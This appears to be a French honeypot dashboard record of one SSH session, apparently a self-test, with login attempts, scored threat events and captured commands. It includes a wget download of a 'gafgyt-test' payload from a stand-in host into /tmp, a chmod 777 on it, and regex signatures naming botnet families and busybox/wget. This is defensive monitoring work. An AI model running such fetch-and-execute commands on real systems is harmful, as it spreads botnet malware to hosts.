Session #5
82.64.85.153 · 26/07/2026 22:30:59
Réseau
- IP
- 82.64.85.153
- Port source
- 38368
- Pays
- —
- Ville
- —
- ASN
- —
- Opérateur
- —
- Réseau
- —
- Hébergeur
- Non détecté
Connexion SSH
- Client
- SSH-2.0-paramiko_5.0.0
- Utilisateur accepté
- test-gafgyt
- Mot de passe accepté
- honeypot-test
- Début
- 26/07/2026 22:30:59
- Fin
- 26/07/2026 22:31:02
Tentatives d’authentification
| Date | N° | Utilisateur | Mot de passe | Résultat |
|---|---|---|---|---|
| 26/07/2026 22:30:59 | 1 | test-gafgyt | test-one | Refusé |
| 26/07/2026 22:30:59 | 2 | test-gafgyt | admin123 | Refusé |
| 26/07/2026 22:30:59 | 3 | test-gafgyt | password | Refusé |
| 26/07/2026 22:30:59 | 4 | test-gafgyt | honeypot-test | Accepté |
Événements de menace
| Date | Type | Gravité | Points | Description | Preuve |
|---|---|---|---|---|---|
| 26/07/2026 22:30:59 | scanner_detection | 3/5 | +15 | Scanner automatisé suspecté : hydra_or_ncrack_suspected | 4 tentatives dans la même session; cadence rapide=True |
| 26/07/2026 22:30:59 | fake_login | 1/5 | +5 | Faux login accepté | test-gafgyt |
| 26/07/2026 22:31:00 | mirai_behavior | 4/5 | +20 | Utilisation de BusyBox | /bin/busybox echo test |
| 26/07/2026 22:31:00 | payload_download | 3/5 | +20 | Téléchargement avec wget | wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test |
| 26/07/2026 22:31:00 | botnet | 5/5 | +25 | Campagne ou famille de malware suspectée : gafgyt_suspected | \b(?:bins|gafgyt|bashlite|qbot)\b, (?:^|/)busybox\b, \b(?:wget|tftp)\b |
| 26/07/2026 22:31:00 | scanner_detection | 3/5 | +0 | Scanner automatisé suspecté : gafgyt_suspected | Signatures comportementales : \b(?:bins|gafgyt|bashlite|qbot)\b, (?:^|/)busybox\b, \b(?:wget|tftp)\b |
| 26/07/2026 22:31:01 | payload_execution | 3/5 | +15 | Rend un fichier exécutable | chmod 777 /tmp/gafgyt-test |
Commandes
$ echo gafgyt bashlite qbot
bash: echo: command not found
$ /bin/busybox echo test
bash: /bin/busybox: command not found
$ wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test
Connecting... wget: unable to resolve host address: Temporary failure in name resolution
$ chmod 777 /tmp/gafgyt-test
$ exit
logout